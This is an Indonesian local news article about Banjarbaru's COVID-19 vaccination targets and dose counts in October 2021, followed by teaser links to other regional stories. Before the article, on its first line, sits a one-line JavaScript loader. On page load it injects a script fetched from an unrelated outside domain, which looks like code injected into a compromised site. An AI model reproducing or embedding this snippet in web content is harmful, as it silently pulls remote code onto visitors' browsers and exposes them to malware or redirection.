(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru targetkan pada pertengahan Oktober bisa melakukan vaksinasi 50 persen kepada masyarakat menuju herd immunity.
Target capaian itu diutarakan Wali Kota Banjarbaru Aditya Mufti Ariffin saat rapat koordinasi percepatan penanganan pandemi Covid-19 Kota Banjarbaru di Aula Gawi Sabarataan Balai Kota bersama Wakil Gubernur Kalimantan Selatan, Jumat (1/10/2021).
Wali Kota Banjarbaru menyebut, sudah ada sekitar 20 ribu dosis vaksin yang masuk ke Kota Banjarbaru.
Baca juga: Tutupi Aksi Habis Bakar Motor, Pelaku Teriak ke Penjaga Malam Ada Api di Rumah Warga!
“Suntikan vaksin didapat dari TNI 1.680 dosis, Polri 1680 dosis, HIPMI 10.000 dosis, Poltekkes 2.000 dosis, OJK 2.750 dosis, dan Dinkes 3.180 dosis, kurang lebih 20 ribu dosis vaksin yang sudah disuntikan,” katanya.
Sementara itu, Kadinkes Banjarbaru Rizana Mirza mengatakan, fasilitas vaksinator di Kota Banjarbaru ada 22 tempat, terdiri dari 10 Puskesmas dan 12 klinik fasilitas vaksinator, TNI/Polri dan Rumah Sakit.
“Kota Banjarbaru juga akan kedatangan 57 ribu vaksin dari Dinkes Kalsel dan 25 ribu dari PMI,” kata Rizana Mirza.
Vaksinator Puskesmas Sungai Besar, Rahmi mengungkapkan, hanya bisa melakukan vaksinasi sebanyak 100 orang per hari, dikarenakan terkendala fasilitas tempat tunggu yang minim. Pihaknya memakai aula LSM di Sungai Besar, sehingga bisa melakukan vaksinasi antara 200-300 orang per hari.
Di lain pihak, Wakil Gubernur Kalimantan Selatan, H Muhiddin mengingatkan, jangan sampai ada penumpukan vaksin baik di Dinkes maupun Puskesmas.
Baca juga: TERTANGKAP. Pelaku Teror Pembakaran 4 Motor di Kelayan Timur Banjarmasin
“Kalau ada vaksin yang datang di Kota Banjarbatu langsung saja diberikan info kepada masyarakat, kalau bisa Puskemas dan fasilitas vaksinator untuk membuat spanduk atau baliho jumlah vaksin yang diterima dan agenda vaksinasi,” pintanya.
Muhiddin juga meminta Pemko Banjarbaru agar terus menggenjit vaksinasi kepada masyarakat dan ketelitan pendataan peserta vaksin, sehingga kedepannya tidak mengalami kerancuan dalam data vaksinasi. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi juara umum pada MTQ… Read More
This website uses cookies.